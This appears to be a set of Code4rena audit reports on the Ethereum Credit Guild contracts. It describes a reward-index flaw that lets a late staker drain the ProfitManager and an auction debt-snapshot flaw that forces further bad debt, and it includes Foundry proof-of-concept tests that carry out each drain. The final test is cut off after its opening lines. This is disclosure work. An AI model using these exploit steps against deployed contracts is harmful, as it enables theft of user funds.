Ethereum Credit Guild - JCN's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L242-L261 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L409-L426

Vulnerability details

Bug Description

User's are incentivized to stake into gauges by earning rewards when the gauges they staked into experience a profit, i.e. loans in the gauge/term are repaid. A user can stake into a gauge by calling GuildToken::incrementGauge. Given that the gauge is an active gauge, the execution flow will continue to GuildToken::_incrementGaugeWeight:

GuildToken::_incrementGaugeWeight#L247-L260

247:        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
248:        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
249:        if (getUserGaugeWeight[user][gauge] == 0) {
250:            lastGaugeLossApplied[gauge][user] = block.timestamp;
251:        } else {
252:            require(
253:                _lastGaugeLossApplied >= _lastGaugeLoss,
254:                "GuildToken: pending loss"
255:            );
256:        }
257:
258:        ProfitManager(profitManager).claimGaugeRewards(user, gauge);
259:
260:        super._incrementGaugeWeight(user, gauge, weight);

As we can see from the above code, ProfitManager::claimGaugeRewards will be called before the user's weight is incremented in super._incrementGaugeWeight. This should have the effect of claiming any pending rewards for the user every time they stake into a gauge. The ProfitManager distributes these rewards based on the gaugeProfitIndex of the gauge and the userGaugeProfitIndex of the user:

ProfitManager.sol#L413-L431

413:        uint256 _userGaugeWeight = uint256(
414:            GuildToken(guild).getUserGaugeWeight(user, gauge)
415:        );
416:        if (_userGaugeWeight == 0) {
417:            return 0;
418:        }
419:        uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
420:        uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];
421:        if (_gaugeProfitIndex == 0) {
422:            _gaugeProfitIndex = 1e18;
423:        }
424:        if (_userGaugeProfitIndex == 0) {
425:            _userGaugeProfitIndex = 1e18;
426:        }
427:        uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
428:        if (deltaIndex != 0) {
429:            creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
430:            userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
431:        }

As shown above, the ProfitManager::claimGaugeRewards function call will return 0 (and thus perform no updates to any profit indexes) if the user's current weight is 0. If the user is staking into the gauge for the first time (or staking after previously unstaking all their weight) then this function call will not perform anything meaningful. However, this means that the user's profit index is not updated when they first stake into a gauge. The user's profit index will be first updated on line 41, which can only be reached when the claimGaugeRewards function is called once more after the user staked into the gauge for this first time (after their weight is increased). The user's userGaugeProfitIndex is thus first initialized to 1e18.

The user will receive rewards if the gauge's gaugeProfitIndex is greater than the user's userGaugeProfitIndex, i.e. if the gaugeProfitIndex is greater than 1e18. Therefore, a user is able to stake into a gauge with a large profit index (gaugeProfitIndex > 1e18) and then immediately trigger the claimGaugeRewards function once more. Since the user's profit index will be less than the gauge's profit index (gaugeProfitIndex > 1e18 & userGaugeProfitIndex == 1e18), then the user will be issued a reward despite the fact that the user staked into the gauge after the gauge's profit index was increased, i.e. the user can claim rewards on a gauge by staking into the gauge after it has experienced a profit.

The magnitude of this exploit can be fully appreciated by observing the way the ProfitManager handles the rewards for Guild stakers:

ProfitManager.sol#L382-L400

383:            if (amountForGuild != 0) {
384:                // update the gauge profit index
385:                // if the gauge has 0 weight, does not update the profit index, this is unnecessary
386:                // because the profit index is used to reattribute profit to users voting for the gauge,
387:                // and if the weigth is 0, there are no users voting for the gauge.
388:                uint256 _gaugeWeight = uint256(
389:                    GuildToken(guild).getGaugeWeight(gauge)
390:                );
391:                if (_gaugeWeight != 0) {
392:                    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
393:                    if (_gaugeProfitIndex == 0) {
394:                        _gaugeProfitIndex = 1e18;
395:                    }
396:                    gaugeProfitIndex[gauge] =
397:                        _gaugeProfitIndex +
398:                        (amountForGuild * 1e18) /
399:                        _gaugeWeight;
400:                }

The above code can be found in the ProfitManager::notifyPnL function, which is called when a term experiences a loss or a profit. It is important to note that when this function is used to notify a profit it is expected that the appropriate amount of Credit is forwarded to the ProfitManager. This is due to the fact that the ProfitManager will allocate this profit (Credit) to the appropriate parties. Some percentage of the Credit received will be sent to a designated otherRecipient (if such exists), a percentage will be burned and distributed to Credit rebasers via Credit::distribute, a percentage of the profit will remain in the ProfitManager and will be internally allocated towards the global surplus buffer, and the last percentage of profit, which is intended for the Guild stakers, will also remain in the ProfitManager.

The above code demonstrates how the percentage for the Guild stakers is accounted for. Lines 397 - 399 shows that the ProfitManager updates the gauge's profit index according to the percentage of Credit allocated towards the stakers (amountForGuild) and the current weight of the gauge (_gaugeWeight).

We have already established that a user is able to stake into a gauge after the gauge experiences a profit and be able to claim rewards from the ProfitManager. However, we now see that the amount of Credit for stakers is calculated based on the weight of the gauge, i.e. the cumulative weight of the stakers that were staked into this gauge at the time that the profit was generated. If a gauge had a total weight of 100e18 at the time the profit was generated, then a user is able to stake 100e18 into this gauge after the fact and will be eligible to claim all of the rewards. Additionally, the ProfitManager houses Credit that belongs to surplus buffers. Therefore, If the user staked an amount greater than 100e18, then they will also be able to steal funds directly from the ProfitManager, i.e. Credit allocated towards the surplus buffers.

Impact

A user is able to stake a large amount of Guild into a gauge that has already experienced a profit and steal funds from the ProfitManager. Depending on the amount of Guild staked the user will be able to steal all of the funds from the ProfitManager. This includes rewards meant for Guild stakers and funds allocated towards the surplus buffers (either via direct donations or from user's who staked into gauges via the SurplusGuildMinter).

Additionally, any stakers who are rightfully due rewards will also not be able to unstake from the gauge until more Credit flows into the ProfitManager. This is due to the fact that the claimGaugeRewards function is called for the user when they unstake via Guild::decrementGauge. When the claimGaugeRewards function is triggered the ProfitManager will attempt to transfer Credit to the user (for their reward), but the call will revert since the ProjectManager will no longer have a Credit balance. Note that this can be mitigated by manually transferring Credit to the ProfitManager for the stakers

Moreover, this will also allow the following scenario to arise: A gauge experiences profits and therefore its gaugeProfitIndex increases. The gauge is then offboarded. The gauge is re-onboarded in the future and still has the same increased gaugeProfitIndex. A user is therefore able to immediately stake into this gauge (for the first time) and then call the claimGaugeRewards function. This will allow the user to extract non-existent rewards for the gauge despite the fact that the gauge has not experienced a profit since being re-onboarded. The funds extracted would therefore be coming from funds allocated towards the surplus buffers in the ProfitManager.

Proof of Concept

The following tests describe both of the situations outlined above:

1. A user is able to stake into a gauge after it has experienced a profit and drain the ProfitManager
2. A user is able to stake into a re-onboarded gauge with a high profit index and drain the ProfitManager

Place the following tests inside of test/unit/governance/ProfitManager.t.sol:

    function testStealRewardsDrainProfitManager() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        vm.stopPrank();

        // setup
        // 50-50 profit split between GUILD & CREDIT
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0.5e18, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        // set up gauge
        guild.setMaxGauges(1);
        guild.addGauge(1, gauge1);

        // ProfitManager already has 20 credit from other actions
        credit.mint(address(profitManager), 20e18);

        // alice has 50 GUILD
        guild.mint(alice, 50e18);

        // bob has 150 GUILD
        guild.mint(bob, 150e18);

        // alice stakes into gauge before profit is generated
        vm.startPrank(alice);
        guild.incrementGauge(gauge1, 50e18);
        vm.stopPrank();

        // simulate 20 profit on gauge
        // 10 goes to alice (guild voting)
        // 10 goes to test (rebasing credit)
        credit.mint(address(profitManager), 20e18);
        assertEq(credit.balanceOf(address(profitManager)), 40e18);
        profitManager.notifyPnL(gauge1, 20e18);
        assertEq(credit.balanceOf(address(profitManager)), 30e18); // 10 credit burned for rebase rewards
        
        // bob stakes into gauge after profit has been generated
        vm.startPrank(bob);
        guild.incrementGauge(gauge1, 150e18);
        vm.stopPrank();

        // bob balance before expoit is 0 credit
        emit log_named_uint("Bob's Balance Before Exploit", credit.balanceOf(bob));

        // ProfitManager balance before exploit is 30 credit
        emit log_named_uint("Profit Manager Balance Before Exploit", credit.balanceOf(address(profitManager)));
        
        // bob drains the profit manager
        assertEq(profitManager.claimRewards(bob), 30e18);
        assertEq(credit.balanceOf(address(profitManager)), 0);
        assertEq(credit.balanceOf(bob), 30e18);

        // bob balance after expoit is 30 credit
        emit log_named_uint("Bob's Balance Before Exploit", credit.balanceOf(bob));

        // Profit Manager balance after the exploit is 0
        emit log_named_uint("Profit Manager Balance After Exploit", credit.balanceOf(address(profitManager)));

        // alice tries to claim rewards but call reverts since Profit Manager has no more credit
        vm.expectRevert("ERC20: transfer amount exceeds balance");
        profitManager.claimRewards(alice);

        // alice tries to unstake from the gauge, but call reverts
        vm.startPrank(alice);
        vm.expectRevert("ERC20: transfer amount exceeds balance");
        guild.decrementGauge(gauge1, 50e18);
        vm.stopPrank();
    }

    function testClaimNonExistentRewardsDrainProfitManager() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        vm.stopPrank();

        // setup
        // 50-50 profit split between GUILD & CREDIT
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0.5e18, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        // set up gauge (onboarded)
        guild.setMaxGauges(1);
        guild.addGauge(1, gauge1);
        
        // alice has 50 GUILD
        guild.mint(alice, 50e18);

        // bob has 150 GUILD
        guild.mint(bob, 150e18);

        // alice stakes into gauge before profit is generated
        vm.startPrank(alice);
        guild.incrementGauge(gauge1, 50e18);
        vm.stopPrank();

        // simulate 20 profit on gauge
        // 10 goes to alice (guild voting)
        // 10 goes to test (rebasing credit)
        credit.mint(address(profitManager), 20e18);
        profitManager.notifyPnL(gauge1, 20e18);
        assertEq(credit.balanceOf(address(profitManager)), 10e18); // 10 credit burned for rebase rewards
        
        // alice claimes rewards
        assertEq(profitManager.claimRewards(alice), 10e18);
        assertEq(credit.balanceOf(address(profitManager)), 0);

        // gauge is offboarded
        guild.removeGauge(gauge1);
        assertEq(guild.isGauge(gauge1), false);

        // Time passes & ProfitManager acquires Credit through other means (donations, profit from other terms, via SurplusGuildMinter stakers, etc...)
        vm.roll(block.number + 100);
        credit.mint(address(profitManager), 30e18);

        // gauge is re-onboarded
        guild.addGauge(1, gauge1);
        assertEq(guild.isGauge(gauge1), true);

        // bob stakes into gauge 
        vm.startPrank(bob);
        guild.incrementGauge(gauge1, 150e18);
        vm.stopPrank();

        // bob claims rewards eventhough no profit has been generated for the gauge
        assertEq(profitManager.claimRewards(bob), 30e18);
        assertEq(credit.balanceOf(address(profitManager)), 0);
    }

Tools Used

manual

Recommended Mitigation Steps

The profit index of a user who is staking into a gauge for the first time (i.e. their weight is going from 0 to > 0) should be initialized to the gauge's profit index.

Note that this is done properly in the SurplusGuildMinter:

SurplusGuildMinter.sol#L136-L147

        GuildToken(guild).incrementGauge(term, guildAmount);

        // update state
        userStake = UserStake({
            stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
            lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
            profitIndex: SafeCastLib.safeCastTo160(
                ProfitManager(profitManager).userGaugeProfitIndex(
                    address(this),
                    term
                )
            ),

As seen above, when a user stakes into the SGM the user's profit index is initialized to the profit index of the SGM.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L751-L768 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L664-L668

Vulnerability details

Bug Description

The creation of bad debt results in the mark down of Credit, i.e. Credit experiences inflation. This is done so that the protocol can adjust to the bad debt that was produced. It follows that when Credit is marked down all active loans can be considered marked up, meaning that the borrowers will be expected to repay with more Credit, since Credit is now worth less. We can observe how this is done by examining the LendingTerm::getLoanDebt function:

LendingTerm::getLoanDebt#L216-L230

216:        // compute interest owed
217:        uint256 borrowAmount = loan.borrowAmount;
218:        uint256 interest = (borrowAmount *
219:            params.interestRate *
220:            (block.timestamp - borrowTime)) /
221:            YEAR /
222:            1e18;
223:        uint256 loanDebt = borrowAmount + interest;
224:        uint256 _openingFee = params.openingFee;
225:        if (_openingFee != 0) {
226:            loanDebt += (borrowAmount * _openingFee) / 1e18;
227:        }
228:        uint256 creditMultiplier = ProfitManager(refs.profitManager)
229:            .creditMultiplier();
230:        loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;

As we can see above, the debt of a borrower (principle + interests) is adjusted by the creditMultiplier. This creditMultiplier starts at 1e18 and gets marked down when bad debt is produced in the system. The loan.borrowCreditMultiplier is the creditMultiplier value at the time that the user took out the loan. Therefore, this function calculates the adjusted debt of a borrower with respect to the amount of bad debt that was produced (inflation of Credit) since the borrower took out the loan. This function is called every time a borrower makes a payment for their loan, ensuring that the appropriate debt is always considered. However, this function is only called once during the entire auction process:

LendingTerm::_call#L664-L668

664:        // update loan in state
665:        uint256 loanDebt = getLoanDebt(loanId);
666:        loans[loanId].callTime = block.timestamp;
667:        loans[loanId].callDebt = loanDebt;
668:        loans[loanId].caller = caller;

The above code is taken from the _call function, which is the starting point for an auction. When a loan misses a required partialPayment or the term is offboarded, this function can be permissionlessly called. As we can see, the debt of the loan is read from the getLoanDebt function and then stored in the loan struct in the callDebt field. This means that the callDebt represents a snapshot of the debt at block.timestamp. Therefore, the callDebt is the loan debt with respect to the creditMultiplier valued at the time that the loan was called. What if the creditMultiplier gets updated after the auction process begins? This would result in the callDebt of the loan being less than what the actual debt of the loan should be (Credit is worth less, but the collateral is worth the same). We can understand the true magnitude of this discrepancy by observing the LendingTerm::onBid function:

LendingTerm::onBid#L750-L768

750:        // compute pnl
751:        uint256 creditMultiplier = ProfitManager(refs.profitManager)
752:            .creditMultiplier();
753:        uint256 borrowAmount = loans[loanId].borrowAmount;
754:        uint256 principal = (borrowAmount *
755:            loans[loanId].borrowCreditMultiplier) / creditMultiplier;
756:        int256 pnl;
757:        uint256 interest;
758:        if (creditFromBidder >= principal) {
759:            interest = creditFromBidder - principal;
760:            pnl = int256(interest);
761:        } else {
762:            pnl = int256(creditFromBidder) - int256(principal);
763:            principal = creditFromBidder;
764:            require(
765:                collateralToBorrower == 0,
766:                "LendingTerm: invalid collateral movement"
767:            );
768:        }

As we can see above, the principle of the loan is calcualted with respect to the current creditMultiplier. The creditFromBidder is the callDebt when the auction is in its first phase:

AuctionHouse::getBidDetail#L133-L136

133:        // first phase of the auction, where more and more collateral is offered
134:        if (block.timestamp < _startTime + midPoint) {
135:            // ask for the full debt
136:            creditAsked = auctions[loanId].callDebt;

This is where the issue lies. Remember, the callDebt represents a snapshot of the loan debt at the time which the loan was called. The callDebt does not consider a potential updated creditMultiplier. Therefore, if a mark down is generated that results in principle > creditFromBidder, then execution of the onBid function would continue on line 762. This will result in a negative pnl being calculated, which ultimately means that this gauge will experience a loss. However, if the collateralToBorrower is not 0, the function will revert. Therefore, when the principle is greater than the callDebt, due to the mark down of Credit, the auction can only receive a bid if the collateralToBorrower is 0. Let us observe the AuctionHouse::bid and AuctionHouse::getBidDetail functions in order to understand what scenario would result in collateralToBorrower == 0:

AuctionHouse::bid#L169-L186

169:        (uint256 collateralReceived, uint256 creditAsked) = getBidDetail(
170:            loanId
171:        );
172:        require(creditAsked != 0, "AuctionHouse: cannot bid 0");
...
180:        LendingTerm(_lendingTerm).onBid(
181:            loanId,
182:            msg.sender,
183:            auctions[loanId].collateralAmount - collateralReceived, // collateralToBorrower
184:            collateralReceived, // collateralToBidder
185:            creditAsked // creditFromBidder
186:        );

As seen above, the onBidDetail function is invoked to retrieve the necessary collateralReceived and creditAsked values. The onBid function is then invoked and the collateralToBorrower is equal to the collateralAmount - collateralReceived. The collateralAmount is the full collateral of the loan. Therefore, if the collateralReceived == collateralAmount, we will have satisfied the following condition: collateralToBorrower == 0. This is exactly what occurs during the second phase of an auction:

AuctionHouse::getBidDetail#L143-L146

143:        // second phase of the auction, where less and less CREDIT is asked
144:        else if (block.timestamp < _startTime + auctionDuration) {
145:            // receive the full collateral
146:            collateralReceived = auctions[loanId].collateralAmount;

Therefore, given the situation where a loan is placed in auction and then a large enough mark down of Credit occurs, such that principle > creditFromBidder, only bids occuring during the second phase of the auction will be allowed. In addition, given that principle > creditFromBidder, bad debt will also be produced in this auction.

Lets briefly discuss what scenarios would result in principle > callDebt. Reminder: The callDebt represents the maximum value that creditFromBidder can be. The callDebt is a snapshot of the full debt of a borrower (principle + interests). Therefore, if the mark down results in a percent decrease of Credit greater than the interest of the borrower's loan, then the adjusted principle will be greater than the callDebt. Consider the following situation:

A term has an interest rate of 4%. The term has multiple loans opened and the term is being off-boarded after half a year. Lets assume no loans have been paid off during this time. Therefore, the interest for all loans is ~2%. Suppose a loan undergoes auction before other loans are called and this loan results in the creation of bad debt (worse case scenario), which results in a mark down > 2%. All other loans that are in auction during this mark down will be forced to create bad debt since the adjusted principle for all loans in auction will be greater than the loans' callDebt.

Impact

The creation of bad debt has the potential to force other loans to create additional bad debt if the following conditions are met:

1. The other loans were in auction during the mark down
2. The mark down is greater than the interest owed for the loans
3. The global surplus buffer is not manually replenished before each additional bad debt creation (funds essentially sacrificed)

This can greatly impact the health of the protocol as the Credit token is used for all core functionalities. A mark down is a mechanism to allow the system to properly adjust to the creation of bad debt, however I would argue that the creation of bad debt should not result in other loans being forced to produce losses which can ultimately produce more bad debt.

This has the ability to affect loans in other terms as well. All loans in auction during the mark down, originating from any term in the market, can potentially be forced to produce a loss/bad debt. The magnitude of this additional mark down of Credit will be greater if the affected loans have relatively low interest accrued and a large borrow amount.

Secondary effects are that no user's will be able to bid during the first phase of the auction. This first phase is meant to be an opportunity for the borrower to properly repay their full debt before the second phase begins, where the borrower can potentially be out-bid by another liquidator and lose the opportunity to receive their collateral.

Proof of Concept

The following test demonstrates the scenario described above in which a mark down of Credit results in other loans in auction being forced to create additional bad debt.

Place the test inside of the test/unit/loan/ directory:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";

import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";

contract BadDebtCreatesBadDebt is Test {
    address private governor = address(1);
    address private guardian = address(2);
    address staker = address(0x01010101);
    address borrower = address(0x02020202);
    address lender = address(0x03030303);
    Core private core;
    ProfitManager private profitManager;
    CreditToken credit;
    GuildToken guild;
    MockERC20 collateral;
    MockERC20 pegToken;
    SimplePSM private psm;
    RateLimitedMinter rlcm;
    AuctionHouse auctionHouse;
    LendingTerm term;

    // LendingTerm params (same as deployment script)
    uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1
    uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR
    uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0; 
    uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0; 
    uint256 constant _HARDCAP = 2_000_000e18; // 2 million

    uint256 public issuance = 0;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();

        profitManager = new ProfitManager(address(core));
        collateral = new MockERC20();
        pegToken = new MockERC20(); // 18 decimals for easy calculations (deployment script uses USDC which has 6 decimals)
        credit = new CreditToken(address(core), "name", "symbol");
        guild = new GuildToken(
            address(core),
            address(profitManager)
        );
        rlcm = new RateLimitedMinter(
            address(core) /*_core*/,
            address(credit) /*_token*/,
            CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/,
            0 /*_maxRateLimitPerSecond*/,
            0 /*_rateLimitPerSecond*/,
            uint128(_HARDCAP) /*_bufferCap*/
        );
        auctionHouse = new AuctionHouse(address(core), 650, 1800);
        term = LendingTerm(Clones.clone(address(new LendingTerm())));
        term.initialize(
            address(core),
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }),
            LendingTerm.LendingTermParams({
                collateralToken: address(collateral),
                maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
                interestRate: _INTEREST_RATE,
                maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
                minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
                openingFee: 0,
                hardCap: _HARDCAP
            })
        );
        psm = new SimplePSM(
            address(core),
            address(profitManager),
            address(credit),
            address(pegToken)
        );
        profitManager.initializeReferences(address(credit), address(guild), address(psm));

        // roles
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.GUARDIAN, guardian);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(psm));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        // add gauge 
        guild.setMaxGauges(10);
        guild.addGauge(1, address(term));
    }

    function testBadDebtCreatesBadDebt() public {
        // staker increases term debtCeiling
        guild.mint(staker, 1000e18);
        vm.startPrank(staker);
        guild.incrementGauge(address(term), 1000e18);
        vm.stopPrank();

        assertEq(guild.getGaugeWeight(address(term)), 1000e18);

        // term has 12 active loans all with various borrow sizes (1_000_000 in total loans)
        // 1st loan = 80_000e18
        collateral.mint(borrower, 1_000_000e18);
        uint256[] memory borrowAmounts = new uint256[](11);
        bytes32[] memory loanIds = new bytes32[](11);
        borrowAmounts[0] = 1_000e18;
        borrowAmounts[1] = 5_000e18;
        borrowAmounts[2] = 10_000e18;
        borrowAmounts[3] = 25_000e18;
        borrowAmounts[4] = 100_000e18;
        borrowAmounts[5] = 50_000e18;
        borrowAmounts[6] = 300_000e18;
        borrowAmounts[7] = 18_000e18;
        borrowAmounts[8] = 90_000e18;
        borrowAmounts[9] = 250_000e18;
        borrowAmounts[10] = 71_000e18;

        vm.prank(borrower);
        collateral.approve(address(term), 1_000_000e18);

        // create 1st loan (loan that will create bad debt)
        bytes32 loanId;
        vm.startPrank(borrower);
        loanId = term.borrow(80_000e18, 80_000e18);
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        vm.stopPrank();

        // create the rest of the loans (loans that will be forced to create bad debt)
        for (uint256 i; i < borrowAmounts.length; i++) {
            vm.startPrank(borrower);
            loanIds[i] = term.borrow(borrowAmounts[i], borrowAmounts[i]);
            vm.roll(block.number + 1);
            vm.warp(block.timestamp + 13);
            vm.stopPrank();
        }
        
        assertEq(term.issuance(), 1_000_000e18);
        assertEq(credit.balanceOf(borrower), 1_000_000e18);
        assertEq(credit.totalSupply(), 1_000_000e18);

        // lenders supply 1_000_000 pegToken in psm (credit.totalSupply == 2_000_000)
        pegToken.mint(lender, 1_000_000e18);
        vm.startPrank(lender);
        pegToken.approve(address(psm), 1_000_000e18);
        psm.mintAndEnterRebase(1_000_000e18);
        vm.stopPrank();

        assertEq(credit.totalSupply(), 2_000_000e18);

        // half a year later all loans accrued ~2% interest
        vm.warp(block.timestamp + (term.YEAR() / 2));
        
        // term is offboarded 
        guild.removeGauge(address(term));
        assertEq(guild.isGauge(address(term)), false);

        // one loan is called before the others and it creates bad debt (markdown > % interest owed by other loans)
        term.call(loanId);

        // no ones bids and loan creates bad debt (worse case scenario)
        vm.warp(block.timestamp + auctionHouse.auctionDuration());
        (, uint256 creditAsked) = auctionHouse.getBidDetail(loanId); 
        assertEq(creditAsked, 0); // phase 2 ended

        // all loans called via callMany right before bad debt + markdown occurs 
        // to demonstrate that any auctions live while markdown occured would be affected (including auctions in diff terms)
        term.callMany(loanIds);

        // bad debt created, i.e. markdown of 4%
        // note that for demonstration purposes there are no surplus buffers
        auctionHouse.forgive(loanId);

        assertEq(term.issuance(), 1_000_000e18 - 80_000e18);
        assertEq(credit.totalSupply(), 2_000_000e18);
        assertEq(profitManager.creditMultiplier(), 0.96e18); // credit marked down

        // no one can bid during phase 1 of any other loans that were in auction when the markdown occured
        // due to principle > creditFromBidder, therefore collateral to borrower must be 0, i.e. all collateral is offered, i.e. must be phase 2
        for (uint256 i; i < loanIds.length; i++) {
            ( , creditAsked) = auctionHouse.getBidDetail(loanIds[i]);
            // verify we are in phase 1 (creditAsked == callDebt)
            assertEq(auctionHouse.getAuction(loanIds[i]).callDebt, creditAsked);
            // attempt to bid during phase 1
            credit.mint(address(this), creditAsked);
            credit.approve(address(term), creditAsked);
            vm.expectRevert("LendingTerm: invalid collateral movement");
            auctionHouse.bid(loanIds[i]);
        }

        // fast forward to the beginning of phase 2
        vm.warp(block.timestamp + auctionHouse.midPoint());
        vm.roll(block.number + 1);

        // all other loans that are in auction will be forced to only receive bids in phase 2
        // bad debt is gauranteed to be created for all these loans, so user's are incentivized to 
        // bid at the top of phase 2. This would result in the liquidator receiving the collateral at a discount. 
        // The loans with less accrued interest and a bigger principle/borrow amount will result in a bigger loss, i.e. greater markdown

        emit log_named_uint("creditMultiplier before updates", profitManager.creditMultiplier());
        
        uint256 collateralReceived;
        for (uint256 i; i < loanIds.length; i++) {
            (collateralReceived, creditAsked) = auctionHouse.getBidDetail(loanIds[i]);
            // verify we are at the top of phase 2 (collateralReceived == collateralAmount | creditAsked == callDebt)
            assertEq(auctionHouse.getAuction(loanIds[i]).callDebt, creditAsked);
            assertEq(auctionHouse.getAuction(loanIds[i]).collateralAmount, collateralReceived);
            // bid at top of phase two (bidder receives collateral at a discount & protocol incurs more bad debt)
            credit.mint(address(this), creditAsked);
            credit.approve(address(term), creditAsked);
            auctionHouse.bid(loanIds[i]);
            multiplierUpdated();
        }
    }

    function multiplierUpdated() internal {
        // credit multiiplier decreases which each auction
        uint256 multiiplier = profitManager.creditMultiplier();

        emit log_named_uint("creditMultiplier updated", multiiplier);
    }
}

Tools Used

manual

Recommended Mitigation Steps

Credit debt is calculated in most areas of the system with respect to the current multiplier, except for during the auction process. I would suggest calculating the callDebt dynamically with respect to the current creditMultiplier during the auction process instead of having it represent a 'snapshot' of the borrower's debt.

Assessed type

Other

Judge has assessed an item in Issue #556 as 3 risk. The relevant finding follows:

[L-02] Auctions active during a mark down allow borrowers to payback their loan at a discount, leaking value from the protocol

Bug Description

A loan's debt during auction represents a snapshot of the debt at a previous creditMultiplier value:

LendingTerm::_call#L664-L667

664:        // update loan in state
665:        uint256 loanDebt = getLoanDebt(loanId);
666:        loans[loanId].callTime = block.timestamp;
667:        loans[loanId].callDebt = loanDebt;

As seen above, line 665 performs a call to getLoanDebt, which retrieve's the loan's current debt with respect to the current creditMultiplier:

LendingTerm::getLoanDebt#L228-L230

 228:       uint256 creditMultiplier = ProfitManager(refs.profitManager)
 229:           .creditMultiplier();
 230:       loanDebt = (loanDebt * loan.borrowCreditMultiplier) / creditMultiplier;

However, during auction the debt is compared against an updated principle, which takes into consideration an updated creditMultiplier:

LendingTerm::onBid#L751-L762

751:        uint256 creditMultiplier = ProfitManager(refs.profitManager)
752:            .creditMultiplier();
753:        uint256 borrowAmount = loans[loanId].borrowAmount;
754:        uint256 principal = (borrowAmount *
755:            loans[loanId].borrowCreditMultiplier) / creditMultiplier;
756:        int256 pnl;
757:        uint256 interest;
758:        if (creditFromBidder >= principal) {
759:            interest = creditFromBidder - principal;
760:            pnl = int256(interest);
761:        } else {
762:            pnl = int256(creditFromBidder) - int256(principal);

Note that in the above code, creditFromBidder is <= callDebt, depending on when the bid takes place. If the creditMultiplier is updated when the loan is in auction, then the callDebt of the loan will be less than what the loan should actually be (considering the updated creditMultiplier). This allows the borrower to bid during the first phase of the auction and receive their original collateral at a discount. In addition, because the callDebt (creditFromBidder) stays the same while the principle increases, then the difference (interest) will be less that it should be (considering the updated creditMultiplier).

Impact

When a borrower's loan is in auction during a mark down, the borrower is able to repay their loan, and receive their collateral, at a discount. This results in the protocol collecting less interest from the borrower. The difference between the interestExpected and the interestReceived is leaked from the protocol.

Proof of Concept

Place the following test inside of the /test/unit/loan/ directory:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

